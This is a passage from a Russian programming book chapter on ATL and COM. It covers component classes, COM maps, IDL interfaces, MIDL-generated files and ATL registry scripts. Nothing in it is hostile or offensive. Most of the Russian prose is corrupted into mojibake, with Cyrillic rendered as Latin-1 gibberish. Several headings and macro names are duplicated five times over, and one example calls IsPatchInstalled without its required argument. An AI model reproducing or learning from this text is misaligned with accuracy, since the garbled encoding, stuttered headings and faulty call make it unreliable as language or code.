Îáû÷íî COM-èíòåðôåéñû îïðåäåëÿþòñÿ â ôàéëå, êîòîðûé çàòåì îáðàáàòû-
âàåòñÿ êîìïèëÿòîðîì MIDL. Íî òàê èëè èíà÷å, MIDL âñå ðàâíî ãåíåðèðóåò
êîä, àíàëîãè÷íûé ïðèâåäåííîìó âûøå, êîòîðûé çàòåì âêëþ÷àåòñÿ â çàãîëî-
âî÷íûé ôàéë ïðèëîæåíèÿ. Ìû åùå âåðíåìñÿ ê ýòîìó âîïðîñó, êîãäà ðåàëèçó-
åì íàø êîìïîíåíò.

Ïîñëå òîãî êàê èíòåðôåéñ îïðåäåëåí, ìîæíî ïåðåõîäèòü ê ñàìîìó êëàññó
êîìïîíåíòà. Íà÷íåì ñ òàêîãî îïðåäåëåíèÿ:

class CHotFixCheck :
   public IHotFixCheck   // íàñëåäóåì èíòåðôåéñó IHotFixCheck
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{
public:
   HRESULT __stdcall IsPatchInstalled(VARIANT_BOOL *pbIsInstalled)
   {
      // TODO: ïðîâåðèòü, óñòàíîâëåíî ëè ñðî÷íîå èñïðàâëåíèå
      return E_NOTIMPL;
   }
};

Èòàê, êëàññ êîìïîíåíòà îïðåäåëåí. Íî îí åùå íå ãîòîâ ïî äâóì ïðè÷èíàì:
íå ðåàëèçîâàí èíòåðôåéñ IUnknown è íå ïîääåðæèâàåòñÿ ôàáðèêà êëàññà.
Íàì åùå ïðåäñòîèò äîáàâèòü ýòó ôóíêöèîíàëüíîñòü.

×òîáû ðåàëèçîâàòü ïîäñ÷åò ññûëîê, êîòîðîãî òðåáóåò IUnknown, ìû äîëæ-
íû óíàñëåäîâàòü íàø êëàññ îò âõîäÿùåãî â ñîñòàâ ATL êëàññà CComOb-
jectRootEx. Ó ýòîãî øàáëîííîãî êëàññà îäèí ïàðàìåòð, êîòîðûé îïðåäåëÿåò
ïîòîêîâóþ ìîäåëü è ìîæåò ïðèíèìàòü ñëåäóþùèå çíà÷åíèÿ: CComSing-
leThreadModel è CComMultiThreadModel. Ðàçíèöà ìåæäó íèìè â òîì, ÷òî
CComSingleThreadModel ïðåäïîëàãàåò, ÷òî êëèåíò áóäåò îáðàùàòüñÿ ê ìåòî-
äàì êëàññà òîëüêî èç îäíîãî ïîòîêà, à ïðè çàäàíèè CComMultiThreadModel
ðàçðåøåíî îáðàùàòüñÿ èç íåñêîëüêèõ ïîòîêîâ, ïîýòîìó äëÿ óâåëè÷åíèÿ è
óìåíüøåíèÿ ñ÷åò÷èêà ññûëîê èñïîëüçóþòñÿ àòîìàðíûå îïåðàöèè.

Ê íàøåìó êëàññó áóäåò îáðàùàòüñÿ ëèøü îäèí ïîòîê, ïîýòîìó äîáàâèì
â åãî îïðåäåëåíèå òàêóþ ñòðîêó:

public CComObjectRootEx<CComSingleThreadModel>

Äàëåå íóæíî äîáàâèòü ïîääåðæêó ñîçäàíèÿ ôàáðèêè êëàññà. Äëÿ ýòîãî
ìû óíàñëåäóåì íàø êëàññ òàêæå îò êëàññà CComCoClass, ÿâëÿþùåãîñÿ ÷àñ-
òüþ ATL. Â êà÷åñòâå ïàðàìåòðîâ ýòîò øàáëîííûé êëàññ ïðèíèìàåò èìÿ âà-
øåãî êëàññà è ññûëêó íà CLSID âàøåãî COM-îáúåêòà. Â íàøåì ñëó÷àå ýòî
âûãëÿäèò òàê:

public CComCoClass<CHotFixCheck, &CLSID_HotFixCheck>

×òîáû ïîääåðæàòü ìåòîä QueryInterface èíòåðôåéñà IUnknown, íóæíî êàê-
òî îïèñàòü èíòåðôåéñû, ïîääåðæèâàåìûå íàøèì êîìïîíåíòîì. ATL ïðå-
äîñòàâëÿåò äëÿ ýòîé öåëè ìàêðîñû BEGIN_COM_MAP, COM_INTERFA-
CE_ENTRY_XXX è END_COM_MAP. Ìû äîëæíû âñòàâèòü â îïðåäåëåíèå íà-
øåãî êëàññà òàêèå ñòðîêè:

BEGIN_COM_MAP(CHotFixCheck)
   COM_INTERFACE_ENTRY_IID(IID_IHotFixCheck, IHotFixCheck)
END_COM_MAP()
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Ìàêðîñ BEGIN_COM_MAP ïðèíèìàåò åäèíñòâåííûé àðãóìåíò – èìÿ
COM-êëàññà. Âñëåä çà íèì íóæíî ñ ïîìîùüþ ïîäõîäÿùèõ ìàêðîñîâ îáúÿ-
âèòü âñå èíòåðôåéñû êîìïîíåíòà. Â âàøåì ðàñïîðÿæåíèè èìåþòñÿ òàêèå
ìàêðîñû:

� COM_INTERFACE_ENTRYCOM_INTERFACE_ENTRYCOM_INTERFACE_ENTRYCOM_INTERFACE_ENTRYCOM_INTERFACE_ENTRY – ñàìûé ïðîñòîé ìàêðîñ äëÿ îáúÿâëåíèÿ
èíòåðôåéñà. Ïðèíèìàåò òîëüêî îäèí àðãóìåíò: èìÿ òèïà èíòåðôåéñà;

� COM_INTERFACE_ENTRY_IIDCOM_INTERFACE_ENTRY_IIDCOM_INTERFACE_ENTRY_IIDCOM_INTERFACE_ENTRY_IIDCOM_INTERFACE_ENTRY_IID – òî æå, ÷òî ïðåäûäóùèé, íî ïðèíè-
ìàåò äâà àðãóìåíòà: IID èíòåðôåéñà è èìÿ åãî òèïà;

� COM_INTERFACE_ENTRY_CHAINCOM_INTERFACE_ENTRY_CHAINCOM_INTERFACE_ENTRY_CHAINCOM_INTERFACE_ENTRY_CHAINCOM_INTERFACE_ENTRY_CHAIN – ïîçâîëÿåò äåëåãèðîâàòü âûçîâ
QueryInterface óêàçàííîìó áàçîâîìó êëàññó;

� COM_INTERFACE_ENTRY_BREAKCOM_INTERFACE_ENTRY_BREAKCOM_INTERFACE_ENTRY_BREAKCOM_INTERFACE_ENTRY_BREAKCOM_INTERFACE_ENTRY_BREAK – îòëàäî÷íûé ìàêðîñ, êîòîðûé çà-
ñòàâëÿåò ATL âûçâàòü ôóíêöèþ DebugBreak ïðè çàïðîñå èíòåðôåéñà
ñ óêàçàííûì IID.

Íàì îñòàëîñü òîëüêî ðåàëèçîâàòü èíòåðôåéñ IUnknown. Ýòà çàäà÷à îòëè÷à-
åòñÿ îò ïðåäûäóùèõ, ïîñêîëüêó äëÿ åå ðåøåíèÿ íå íóæíî íàñëåäîâàòü íèêà-
êèì êëàññàì. Âìåñòî ýòîãî ïðåäîñòàâëÿåìûé ATL øàáëîííûé êëàññ CComOb-
ject äîëæåí ñàì íàñëåäîâàòü íàøåìó êëàññó, ïåðåäàííîìó åìó â êà÷åñòâå ïàðà-
ìåòðà øàáëîíà. Âîò êàê ýòî äåëàåòñÿ:

CComObject<CHotFixCheck> *pHFCheck;

Òåì ñàìûì ìû àññîöèèðóåì ðåàëèçàöèþ èíòåðôåéñà ñ íàøèì COM-êëàñ-
ñîì. Ñëåäóþùèé øàã – ñîçäàòü îáúåêò, ïîðàáîòàòü ñ íèì, à çàòåì îñâîáîäèòü
ññûëêó íà íåãî.

CComObject<CHotFixCheck>::CreateInstance(&pHFCheck);

// Ýòî íåîáõîäèìî ïîòîìó, ÷òî CreateInstance íå óâåëè÷èâàåò
// ñ÷åò÷èê ññûëîê ñàìîñòîÿòåëüíî
pHFCheck->AddRef();
pHFCheck->IsPatchInstalled();

// îáúåêò óäàëÿåòñÿ, ïîòîìó ÷òî ñ÷åò÷èê ññûëîê íà íåãî ñòàë ðàâåí 0
pHFCheck->Release();

ßçûê îïðåäåëåíèÿ èíòåðôåéñîâßçûê îïðåäåëåíèÿ èíòåðôåéñîâßçûê îïðåäåëåíèÿ èíòåðôåéñîâßçûê îïðåäåëåíèÿ èíòåðôåéñîâßçûê îïðåäåëåíèÿ èíòåðôåéñîâ
Åñëè COM-îáúåêò ðåàëèçóåòñÿ íà ÿçûêå C++, òî åãî èíòåðôåéñû ìîæíî
îïèñàòü ñ ïîìîùüþ àáñòðàêòíîãî áàçîâîãî êëàññà. Ýòîò ïîäõîä áóäåò ðàáî-
òàòü äëÿ âñåõ ñëó÷àåâ ñîçäàíèÿ îáúåêòà âíóòðè ïðîöåññà. Îäíàêî, ñòîèò ïðè-
íÿòü âî âíèìàíèå äðóãèå ïîòîêîâûå ìîäåëè (ðàçäåëüíûõ, à íå ñâîáîäíûõ
ïîòîêîâ) è íàëè÷èå ðàçëè÷íûõ êîíòåêñòîâ çàãðóçêè â COM (CLSCTX_IN-
PROC_SERVER è CLSCTX_LOCAL_SERVER), êàê ñòàíîâèòñÿ ïîíÿòíî, ÷òî
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îïèñàíèÿ èíòåðôåéñà ñ ïîìîùüþ ñðåäñòâ C++ íåäîñòàòî÷íî. ×òîáû ïîíÿòü,
ïî÷åìó ýòî òàê, ïðèãëÿäèìñÿ ïîáëèæå ê âíóòðåííåìó óñòðîéñòâó ïðîöåññà.

Êàæäûé ïðîöåññ, ðàáîòàþùèé íà 32-ðàçðÿäíîé ïëàòôîðìå Windows, èìååò
ñîáñòâåííîå àäðåñíîå ïðîñòðàíñòâî. Ñëåäîâàòåëüíî, àäðåñ 0x30000 â ïðîöåñ-
ñå A – ýòî íå òî æå ñàìîå, ÷òî àäðåñ 0x30000 â ïðîöåññå B. Âçãëÿíèòå íà ðèñ. 13.2.

Рис. 13.2. Рис. 13.2. Рис. 13.2. Рис. 13.2. Рис. 13.2. Распределение памяти в разных адресных пространствах

Êîëü ñêîðî ó êàæäîãî ïðîöåññà ñâîå àäðåñíîå ïðîñòðàíñòâî, íèêàê íå ñâÿ-
çàííîå ñ àäðåñíûì ïðîñòðàíñòâîì äðóãèõ ïðîöåññîâ, ìû íå ìîæåì ïðîñòî
òàê âçÿòü è âûçâàòü ìåòîä èíòåðôåéñà îáúåêòà, íàõîäÿùåãîñÿ â äðóãîì ïðî-
öåññå. COM ðåøàåò ýòó ïðîáëåìó çà ñ÷åò ìåõàíèçìà ìåæïðîöåññíûõ êîììóíè-
êàöèé, êîòîðûé ïîçâîëÿåò ïðîöåññó A îáðàùàòüñÿ ê ôóíêöèè èç ïðîöåññà B.
Ýòîò ìåõàíèçì íàçûâàåòñÿ RPC (Remote Procedure Call – âûçîâ óäàëåííîé
ïðîöåäóðû). Íî äëÿ åãî èñïîëüçîâàíèÿ ó ñðåäû èñïîëíåíèÿ COM äîëæíî
áûòü äîñòàòî÷íî èíôîðìàöèè î ìåòîäàõ, ðåàëèçóåìûõ âàøèì COM-îáúåê-
òîì. ×òîáû ðàçîáðàòüñÿ â ýòîì âîïðîñå, ðàññìîòðèì ñëåäóþùèé êîä:

void DoSomething(DWORD *p)
{
     // ...
}

Ýòà ôóíêöèÿ âñåãî ëèøü ïðèíèìàåò óêàçàòåëü íà çíà÷åíèå òèïà DWORD.
Îäíàêî îí ìîæåò îçíà÷àòü âñå, ÷òî óãîäíî: p ìîæåò óêàçûâàòü íà ïåðâûé
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ýëåìåíò ìàññèâà DWORD, ôóíêöèÿ ìîæåò ìîäèôèöèðîâàòü çíà÷åíèå, íà êî-
òîðîå óêàçûâàåò p, èëè òîëüêî ÷èòàòü åãî. Åñëè áû âìåñòî DWORD* ìû óêà-
çàëè òèï PVOID, òî îñòàâàëîñü áû òîëüêî ãàäàòü, ÷òî äåëàåò ôóíêöèÿ. Ïðè
ïðîãðàììèðîâàíèè íà C++ íå òàê âàæíî óêàçûâàòü òî÷íûé òèï. Íî êîãäà
ðå÷ü èäåò î âûçîâå ìåòîäà èç äðóãîãî àäðåñíîãî ïðîñòðàíñòâà, ñèòóàöèÿ ðà-
äèêàëüíî ìåíÿåòñÿ.

Ïîñêîëüêó îïðåäåëåíèÿ èíòåðôåéñîâ äîëæíû áûòü ñòðîãî òèïèçèðîâàíû,
â COM ïðèìåíÿåòñÿ ñïåöèàëüíûé ÿçûê (IDL) äëÿ îïèñàíèÿ êàê èíòåðôåé-
ñîâ, òàê è COM-îáúåêòîâ. Ñëåäîâàòåëüíî, â ëþáîì ïðîåêòå äëÿ ðåàëèçàöèè
COM-îáúåêòà, ïîääåðæèâàþùåãî ðàçëè÷íûå êîíòåêñòû çàãðóçêè è ïîòîêî-
âûå ìîäåëè, îáÿçàòåëüíî áóäåò ïðèñóòñòâîâàòü ôàéë ñ îïðåäåëåíèÿìè âñåõ
èíòåðôåéñîâ.

Òàêèå ôàéëû èìåþò ðàñøèðåíèå .IDL è ïåðåäàþòñÿ êîìïèëÿòîðó MIDL,
êîòîðûé ñîçäàåò íåñêîëüêî äðóãèõ ôàéëîâ, îïèñûâàþùèõ èíòåðôåéñû, ïðå-
äîñòàâëÿåìûå âàøèì ñåðâåðîì. Ñíà÷àëà ñîñòàâèì îïèñàíèå èíòåðôåéñà íà
ÿçûêå IDL, à çàòåì ïîñìîòðèì, âî ÷òî åãî ïðåîáðàçóåò MIDL.

1 [object, uuid("85C5B433-C053-435f-9E4A-8C48557E1D4B")]

2 interface IWarpEngine : IUnknown

3 {

4   HRESULT Engage([in] VARIANT_BOOL vbEngage);

5 };

Ýòî îïèñàíèå òèïè÷íîãî èíòåðôåéñà íà ÿçûêå IDL. Ðàññìîòðèì åãî ïîä-
ðîáíåå.

Â ïåðâîé ñòðîêå óêàçàíû àòðèáóòû èíòåðôåéñà:

� Äàííûé èíòåðôåéñ ïðèíàäëåæèò îáúåêòó (ñëîâî object);
� IID èíòåðôåéñà ðàâåí 85C5B433-C053-435f-9E4A-8C48557E1D4B.

Âî âòîðîé ñòðîêå ãîâîðèòñÿ, ÷òî èíòåðôåéñ íàçûâàåòñÿ IWarpEngine.
Â ÿçûêå C++ ìîæíî óêàçûâàòü íàñëåäîâàíèå; òî æå ïîçâîëÿåò è IDL – ìîæ-
íî ñîîáùèòü, ÷òî îäèí èíòåðôåéñ íàñëåäóåò äðóãîìó. Ñëåäóþùèé ïðèìåð
òèïè÷åí äëÿ îïèñàíèÿ ëþáîãî èíòåðôåéñà, ñîâìåñòèìîãî ñ àâòîìàòèçàöèåé,
êîòîðûé äîëæåí íàñëåäîâàòü èíòåðôåéñó IDispatch.

Êàê è â ñëó÷àå îïðåäåëåíèÿ êëàññà, âíóòðè îáúÿâëåíèÿ èíòåðôåéñà ïåðå-
÷èñëÿþòñÿ ìåòîäû. Â ôèãóðíûõ ñêîáêàõ óêàçàíû íàçâàíèÿ âñåõ ìåòîäîâ è
ñâîéñòâ, ïîääåðæèâàåìûõ äàííûì èíòåðôåéñîì.

Ñåìàíòèêà ôóíêöèè Engage â ïðèìåðå âûøå î÷åâèäíà èç åå îïèñàíèÿ: îíà
âîçâðàùàåò çíà÷åíèå òèïà HRESULT è ïðèíèìàåò â êà÷åñòâå ïàðàìåòðà
VARIANT_BOOL. Îòíîñèòåëüíî åå èñïîëüçîâàíèÿ íå âîçíèêàåò íèêàêèõ ñî-
ìíåíèé, â ýòîì è ñîñòîèò ñìûñë IDL.

Ñâîéñòâà COM-êëàññà îïèñûâàþòñÿ íà IDL ñëåäóþùèì îáðàçîì:
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[propget] Speed([out, retval] LONG *pSpeed);
[propput] Speed([in] LONG Speed);

Â îïèñàíèè ñâîéñòâà ïåðåä åãî èìåíåì äîëæåí íàõîäèòüñÿ îäèí èç àòðèáó-
òîâ propget èëè propput. Àòðèáóò propget ãîâîðèò, ÷òî ôóíêöèÿ ìîæåò ïðèíè-
ìàòü òîëüêî îäèí âûõîäíîé ïàðàìåòð. Ýòîò ôàêò îïèñûâàåòñÿ àòðèáóòîì,
ïðåäøåñòâóþùèì îáúÿâëåíèþ àðãóìåíòîâ: [out, retval]. Ôóíêöèÿ ñ àòðèáóòîì
propput ïðèíèìàåò òîëüêî îäèí âõîäíîé ïàðàìåòð, ÷òî ïîä÷åðêèâàåòñÿ íàëè-
÷èåì ïåðåä îáúÿâëåíèåì åãî àòðèáóòà [in]. Ïðè îïèñàíèè èíòåðôåéñîâ ïî÷à-
ùå îáðàùàéòåñü ê äîêóìåíòàöèè â MSDN, ÷òîáû âûÿñíèòü, êàê âûðàçèòü
æåëàåìîå íà ÿçûêå IDL. Ãëàâíîå, ïîìíèòå, ÷òî îïèñàíèå èíòåðôåéñà íå äîë-
æíî äîïóñêàòü íåîäíîçíà÷íîãî òîëêîâàíèÿ.

Çàêîí÷èâ îïèñûâàòü COM-èíòåðôåéñû íà IDL, ïðèñòóïèì ê îïðåäåëåíèþ
îêðóæåíèÿ, â êîòîðîì îíè áóäóò ñóùåñòâîâàòü, òî åñòü áèáëèîòåêè òèïîâ è
êîêëàññà (ñîêðàùåííîå íàçâàíèå äëÿ «êëàññà êîìïîíåíòà»). Íà IDL ýòî âû-
ãëÿäèò òàê:

[uuid("DEEC1A90-820C-4744-Be1D-9E3C357EDE81"), version(1.0)]
library SpaceShipLib
{
  importlib("stdole32.tlb");

  [uuid("305441D4-9014-4D49-A54F-2DF536E5EC67")]
  coclass SpaceShip
  {
    interface IWarpEngine;
  };
};

Êàê è âî âñåõ êîíñòðóêöèÿõ IDL, â ïåðâîé ñòðîêå îïèñûâàþòñÿ àòðèáóòû
ñëåäóþùåé íèæå áèáëèîòåêè. Ýòî åå èäåíòèôèêàòîð LIBID è íîìåð âåðñèè.
Ðàçäåë l ibrary ïðåäïèñûâàåò IDL ïîñòðîèòü áèáëèîòåêó òèïîâ (TypeLib). Â íåé
â äâîè÷íîì âèäå õðàíèòñÿ âñÿ èíôîðìàöèÿ îá èñïîëüçóåìûõ òèïàõ. Èç ýòîé
áèáëèîòåêè ñðåäà èñïîëíåíèÿ COM óçíàåò î ïîðÿäêå èñïîëüçîâàíèÿ êîìïî-
íåíòà.

Â òåëå  ðàçäåëà l ibrary íàõîäÿòñÿ, â ÷àñòíîñòè, îïèñàíèÿ êîêëàññîâ. Â äàííîì
ñëó÷àå  åñòü âñåãî  îäèí òàêîé êëàññ SpaceShi p, à êðîìå  òîãî  èìïîðòèðóåòñÿ
îòêîìïèëèðîâàííàÿ áèáëèîòåêà òèïîâ stdole32.tlb.

Âíóòðè îáúÿâëåíèÿ êîêëàññà SpaceShi p  åñòü ññûëêà íà èíòåðôåéñ IWarpEn-
gine. Ïîýòîìó âñÿ èíôîðìàöèÿ îá ýòîì èíòåðôåéñå âêëþ÷àåòñÿ â áèáëèîòåêó
òèïîâ. Êðîìå  òîãî, íàëè÷èå  ññûëêè îçíà÷àåò, ÷òî  êîêëàññ SpaceShi p  ïîääåð-
æèâàåò èíòåðôåéñ IWarpEngine.

Ïîñëå ñîçäàíèÿ IDL-ôàéëà åãî íóæíî îòêîìïèëèðîâàòü ñ ïîìîùüþ MIDL.
Ïðîãðàììà MIDL ðàñïîçíàåò ðàçëè÷íûå ôëàãè â êîìàíäíîé ñòðîêå, íî íà



663

áîëüøèíñòâî èç íèõ ìîæíî íå îáðàùàòü âíèìàíèÿ, åñëè òîëüêî âû íå äåëàå-
òå ÷òî-òî íåîáû÷íîå. Êàê ïðàâèëî, äîñòàòî÷íî çàäàòü ëèøü èìÿ IDL-ôàéëà:

midl.exe SpaceShip.idl

Â ðåçóëüòàòå óñïåøíîé êîìïèëÿöèè â òîì æå êàòàëîãå ïîÿâëÿþòñÿ íå-
ñêîëüêî íîâûõ ôàéëîâ, ïåðå÷èñëåííûõ â òàáëèöå 13.2.

Таблица 13.2. Список файлов, сгенерированных компилятором MIDL

Имя файла Назначение

Spaceship.h Этот файл следует включить в ATL�проект, так как он
содержит определения всех абстрактных классов
в синтаксисе C++, которые предстоит реализовать
в вашем коклассе. Помимо этого, здесь же находятся
ссылки на CLSID, IID и LIBID, сгенерированные MIDL. Если
хотите назвать файл иначе, воспользуйтесь флагом /h

Spaceship_i.c Этот файл содержит реальные значения тех GUID, на
которые ссылается файл SpaceShip.h. Если хотите
назвать файл иначе, воспользуйтесь флагом /iid

Spaceship.tlb Этот файл содержит откомпилированную библиотеку
типов. При желании можно восстановить исходный IDL
файл из tlb�файла. Этот файл можно распространять
независимо от модуля или включить его в состав
ресурсов. Обычно ему назначается первый порядковый
номер в разделе ресурсов

Dlldata.c Этот файл содержит информацию о точках входа для
заглушки и заместителя, которые необходимы при
удаленном вызове интерфейсов

Spaceship_p.c Этот файл содержит код заглушки и заместителя для
вызова методов интерфейса объекта, находящегося
в отдельном процессе, например, в EXE�файле

Ðåãèñòðàöèÿ êëàññàÐåãèñòðàöèÿ êëàññàÐåãèñòðàöèÿ êëàññàÐåãèñòðàöèÿ êëàññàÐåãèñòðàöèÿ êëàññà
Êàê âû óæå çíàåòå, ëþáîé COM-îáúåêò äîëæåí áûòü ïðåäâàðèòåëüíî çàðåãè-
ñòðèðîâàí. Åñëè îáúåêò ðåàëèçîâàí â âèäå DLL, òî ðåãèñòðàöèÿ âûïîëíÿåòñÿ,
êîãäà êëèåíò îáðàùàåòñÿ ê òî÷êå âõîäà DllRegisterServer. Åñëè æå îáúåêò
ïðåäñòàâëåí â âèäå EXE-ôàéëà, òî äëÿ ðåãèñòðàöèè íóæíî çàïóñòèòü ýòîò
ôàéë ñ ôëàãîì /regserver. Ñàìà æå ïðîöåäóðà ðåãèñòðàöèè ìàëî îòëè÷àåòñÿ.

Ðåãèñòðàöèÿ êîìïîíåíòîâ, ñîçäàííûõ áåç ïðèìåíåíèÿ ATL, – ýòî ìóòîð-
íîå çàíÿòèå, ñâîäÿùååñÿ ê ìíîãîêðàòíûì âûçîâàì ôóíêöèé äëÿ ðàáîòû
ñ ðååñòðîì. Íàïðîòèâ, ATL ñóùåñòâåííî óïðîùàåò äåëî, ïîçâîëÿÿ àññîöèè-
ðîâàòü ñ êàæäûì êîêëàññîì òàê íàçûâàåìûé ñöåíàðèé ðååñòðà. Ôîðìàò òàêèõ
ñöåíàðèåâ áûë èçîáðåòåí çàäîëãî äî ïîÿâëåíèÿ ATL.

Библиотека ATL
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Êàê âû, íàâåðíîå, äîãàäàëèñü, ñöåíàðèè ðååñòðà îáðàáàòûâàþòñÿ âî âðåìÿ
ðåãèñòðàöèè COM-îáúåêòà. ATL çàïóñêàåò âñòðîåííûé ìåõàíèçì, êîòîðûé
îáíîâëÿåò ðååñòð â ñîîòâåòñòâèè ñî ñöåíàðèåì. Ðàññìîòðèì ïðèìåð:

HKCR {
  NoRemove CLSID {
    ForceRemove {9C129B36-EE42-4669-B217-4154821F9B4E} =
       s 'MySimpleObject Class' {

         InprocServer32 = s '%MODULE%' {
             val ThreadingModel = s 'Apartment'
         }
       }
  }
}

Ëþáîé ïðîãðàììèñò íà C++ ñðàçó æå ðàñïîçíàåò â ýòîì ôðàãìåíòå èåðàð-
õè÷åñêóþ ñòðóêòóðó. Âíà÷àëå óêàçûâàåòñÿ êîðíåâîé êëþ÷. Îí ñîîòâåòñòâóåò
óëüþ ðååñòðà, êîòîðûé îáíîâëÿåòñÿ ñöåíàðèåì. Êîðíåâîé êëþ÷ ìîæåò ïðèíè-
ìàòü ñëåäóþùèå çíà÷åíèÿ:

� HKEY_CLASSES_ROOT (èëè HKCR);
� HKEY_CURRENT_USER (èëè HKCU);
� HKEY_LOCAL_MACHINE (èëè HKLM);
� HKEY_USERS (èëè HKU);
� HKEY_PERFORMANCE_DATA (èëè HKPD);
� HKEY_DYN_DATA (èëè HKDD);
� HKEY_CURRENT_CONFIG (èëè HKCC).

Â íàøåì ïðèìåðå èñïîëüçîâàí êëþ÷ HKCR (èëè HKEY_CLASSES_ROOT).
Âñå, ÷òî ñëåäóåò çà êîðíåâûì êëþ÷îì, íàçûâàåòñÿ ðååñòðîâûì âûðàæåíèåì è
ñîñòîèò èç êîìàíä äîáàâëåíèÿ èëè óäàëåíèÿ êëþ÷à. Âñå ïîòîìêè êîðíåâîãî
ýëåìåíòà â ïîêàçàííîì âûøå ñöåíàðèè – ýòî âûðàæåíèÿ, èíñòðóêòèðóþùèå
ATL äîáàâèòü â ðååñòð êëþ÷è ñ óêàçàííûìè çíà÷åíèÿìè. Ðàññìîòðèì êàæäóþ
ñòðîêó ñöåíàðèÿ:

NoRemove CLSID {

Çäåñü îò ATL òðåáóåòñÿ ïðè íåîáõîäèìîñòè ñîçäàòü êëþ÷ CLSID, íî íèêîã-
äà íå óäàëÿòü ñóùåñòâóþùèé.

ForceRemove {9C129B36-EE42-4669-B217-4154821F9B4E} =
       s 'MySimpleObject Class' {

Â ýòîé ñòðîêå äàåòñÿ çàäàíèå ñîçäàòü êëþ÷, ñîäåðæàùèé çíà÷åíèå GUID.
Àòðèáóò ForceRemove ãîâîðèò, ÷òî êëþ÷ ñëåäóåò óäàëèòü ïðè óäàëåíèè COM-
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îáúåêòà. Êðîìå òîãî, ýòî âûðàæåíèå çàñòàâëÿåò ATL ñîçäàòü äëÿ íîâîãî
êëþ÷à ñòðîêîâîå çíà÷åíèå ïî óìîë÷àíèþ (î ÷åì ñâèäåòåëüñòâóåò áóêâà ‘s’,
ïðåäøåñòâóþùàÿ ëèòåðàëó) è çàïèñàòü â íåãî ñòðîêó «MySimpleObject Class».
Âàæíî îòìåòèòü, ÷òî åñëè êëþ÷ ïîìå÷åí àòðèáóòîì ForceRemove, òî è âñå
åãî ïîòîìêè òîæå áóäóò óäàëåíû.

InprocServer32 = s '%MODULE%' {
             val ThreadingModel = s 'Apartment'
         }

Ýòîò ôðàãìåíò àíàëîãè÷åí ïðåäûäóùåìó; çäåñü òîæå ñîçäàåòñÿ íîâûé
êëþ÷, íà ýòîò ðàç ñ èìåíåì InprocServer32, äëÿ êîòîðîãî çíà÷åíèåì ïî óìîë-
÷àíèþ ÿâëÿåòñÿ ïóòü ê ôàéëó ðåãèñòðèðóåìîãî ìîäóëÿ. Âû, êîíå÷íî, ïîíÿëè,
÷òî ñòðîêà %MODULE% èíòåðïðåòèðóåòñÿ êàê ïåðåìåííàÿ îêðóæåíèÿ ñöå-
íàðèÿ èëè ìàêðîñ, êîòîðûé ïîäñòàâëÿåòñÿ âî âðåìÿ çàïóñêà ñöåíàðèÿ ïðåïðî-
öåññîðîì, âõîäÿùèì â ñîñòàâ ATL.

Òåïåðü âû çíàåòå, êàê ïèñàòü ñöåíàðèè ðååñòðà, îñòàëîñü ñâÿçàòü èõ ñ âà-
øèì êîêëàññîì. Äëÿ ýòîãî íóæíî ñäåëàòü äâå âåùè:

� ïîìåñòèòü ñöåíàðèé â ðàçäåë ðåñóðñîâ êîìïîíåíòà;
� îáúÿâèòü èäåíòèôèêàòîð ñîîòâåòñòâóþùåãî ðåñóðñà.

Äëÿ âûïîëíåíèÿ ïåðâîãî øàãà ïåðåéäèòå íà âêëàäêó Resource View â ïðîåê-
òå, ñîçäàâàåìîì â Visual Studio, ùåëêíèòå ïðàâîé êíîïêîé ïî ðåñóðñíîìó
ôàéëó è âûáåðèòå èç êîíòåêñòíîãî ìåíþ ïóíêò Add ResourceAdd ResourceAdd ResourceAdd ResourceAdd Resource (ñì. ðèñ. 13.3).

Рис. 13.3. Рис. 13.3. Рис. 13.3. Рис. 13.3. Рис. 13.3. Диалоговое окно для добавления ресурса в Visual Studio.NET

Библиотека ATL
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Çàòåì íàæìèòå êíîïêó ImportImportImportImportImport, íàéäèòå ñðåäè ôàéëîâ ïðîåêòà ñöåíàðèé
ðååñòðà è íàæìèòå OK. Visual Studio ïîïðîñèò óêàçàòü òèï èìïîðòèðóåìîãî
ðåñóðñà. Ïðèíÿòî îáîçíà÷àòü RGS-ñöåíàðèè ñòðîêîé REGISTRY, ïîýòîìó
ââåäèòå ýòó ñòðîêó è íàæìèòå OKOKOKOKOK. Îñòàëîñü ëèøü ïåðåèìåíîâàòü ðåñóðñ òàê,
÷òîáû îí àññîöèèðîâàëñÿ ñ âàøèì êîêëàññîì. Ïîñëå âñåãî ýòîãî ñöåíàðèé
ðååñòðà îêàæåòñÿ â îäíîì ôàéëå ñ êîìïîíåíòîì è íàéòè åãî ìîæíî áóäåò ïî
èìåíè, êîòîðîå, êñòàòè, óêàçàíî è â ñãåíåðèðîâàííîì ôàéëå resource.h.

Ïîêîí÷èâ ñ øàãîì 1, ìîæíî ïåðåéòè ê øàãó 2, íà êîòîðîì ìû àññîöèèðóåì
ñöåíàðèé ðååñòðà ñ êîêëàññîì. Äëÿ ýòîãî ïðåäíàçíà÷åí ìàêðîñ DECLARE_RE-
GISTRY_RESOURCE_ID, êîòîðîìó ïåðåäàåòñÿ èäåíòèôèêàòîð ðåñóðñà.

Ìàêðîñ DECLARE_REGISTRY_RESOURCE_ID ðàñøèðÿåòñÿ â âûçîâ ñëå-
äóþùåé ñòàòè÷åñêîé ôóíêöèè:

#define DECLARE_REGISTRY_RESOURCE_ID(x) \
        static HRESULT WINAPI UpdateRegistry(BOOL bRegister) throw()\
        { };  // Êîä îïóùåí

Ôóíêöèÿ UpdateRegistry ñòðîèò ìàññèâ ïàð èìÿ/çíà÷åíèÿ, êîòîðûé ðåãèñò-
ðàòîð ATL èñïîëüçóåò äëÿ ðàñøèðåíèÿ òàêèõ ìàêðîñîâ ïðåïðîöåññîðà, êàê
%MODULE%. Åñëè ó âàñ âîçíèêíåò æåëàíèå ïåðåäàòü íåñòàíäàðòíîå çíà÷å-
íèå, òî íàäî áóäåò ëèøü ïåðåïèñàòü ôóíêöèþ UpdateRegistry ñ ó÷åòîì ñâîèõ
òðåáîâàíèé. Îñíîâíîå íàçíà÷åíèå ýòîé ôóíêöèè – ïåðåäàòü èíôîðìàöèþ îá
èìåíàõ, à òàêæå èäåíòèôèêàòîð ðåñóðñà ñöåíàðèÿ ãëîáàëüíîé ôóíêöèè
UpdateRegistryFromResource, êîòîðàÿ è âûïîëíÿåò îñíîâíóþ ÷àñòü ðàáîòû ïî
ðåãèñòðàöèè êëàññà.

Ðåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðàÐåàëèçàöèÿ âíóòðèïðîöåññíîãî COM-ñåðâåðà
